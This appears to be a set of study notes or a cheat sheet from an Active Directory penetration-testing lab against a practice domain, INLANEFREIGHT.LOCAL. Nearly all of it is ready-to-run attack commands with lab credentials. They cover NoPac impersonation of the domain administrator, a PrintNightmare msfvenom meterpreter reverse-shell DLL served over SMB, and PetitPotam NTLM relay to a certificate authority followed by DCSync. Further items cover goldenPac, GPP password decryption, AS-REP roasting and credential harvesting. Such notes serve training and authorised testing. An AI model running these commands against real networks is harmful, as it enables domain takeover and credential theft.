Privileged Access, Vulnerabilities, and Misconfigurations

Privileged Access

To see which users are admins, use the BloodHound custom query. To resolve a computer's IP:
powershell
Resolve-DnsName -Name "ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL"
nslookup SQL01.inlanefreight.local

PowerUpSQL

powershell
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'

Vulnerabilities

NoPac (SamAccountName Spoofing)

Allows a normal user to become Domain Admin in seconds: a computer account is created (allowed by default) and renamed to match a DC; when requesting Kerberos tickets, the system confuses it with the real DC.
terminal
$ sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

PrintNightmare

Flaw in the print service that allows a malicious DLL to be executed from an SMB share → reverse shell with SYSTEM privileges.
terminal
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dllsudo smbserver.py -smb2support CompData /path/to/backupscript.dll$ sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'

PetitPotam

Forces a DC to authenticate with NTLM; it is relayed to a Certificate Authority to obtain a certificate, which is used to request a TGT.
terminal
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController$ python3 PetitPotam.py 172.16.5.225 172.16.5.5# Con el certificado base64 del DC, obtener TGT y DCSync:$ python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <CERT_B64> dc01.ccache$ export KRB5CCNAME=dc01.ccachesecretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

Misconfigurations

  • Dangerous groups: Exchange Windows Permissions and Organization Management can grant DCSync. Get-DomainGroupMember -Identity "Exchange Windows Permissions"
  • PrivExchange: forced Exchange server authentication; relay to LDAP with ntlmrelayx.
  • Printer Bug (MS-RPRN): forces SMB authentication from the Spooler (SYSTEM). Get-SpoolStatus -ComputerName DC01.domain.local
  • MS14-068: forged PAC to elevate to Domain Admin. goldenPac.py dominio/usuario:contraseña@dc.dominio.local
  • LDAP Credential Capture: redirect LDAP to a listener. nc -lvp 389
  • adidnsdump: discovers hidden DNS records. adidnsdump -u dominio\\usuario ldap://ip.dc -r
  • Passwords in Description: Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}
  • PASSWD_NOTREQD: Get-DomainUser -UACFilter PASSWD_NOTREQD
  • Credentials in SYSVOL/Scripts: cat \\DC\SYSVOL\dominio\scripts\script.vbs
  • Passwords in GPP: gpp-decrypt <cpassword> / crackmapexec smb <IP> -M gpp_password
  • ASREPRoasting: Get-DomainUser -PreauthNotRequired / GetNPUsers.py dominio/ -usersfile usuarios.txt
  • GPO Abuse: Get-DomainGPO | Get-ObjectAcl; exploitation with SharpGPOAbuse.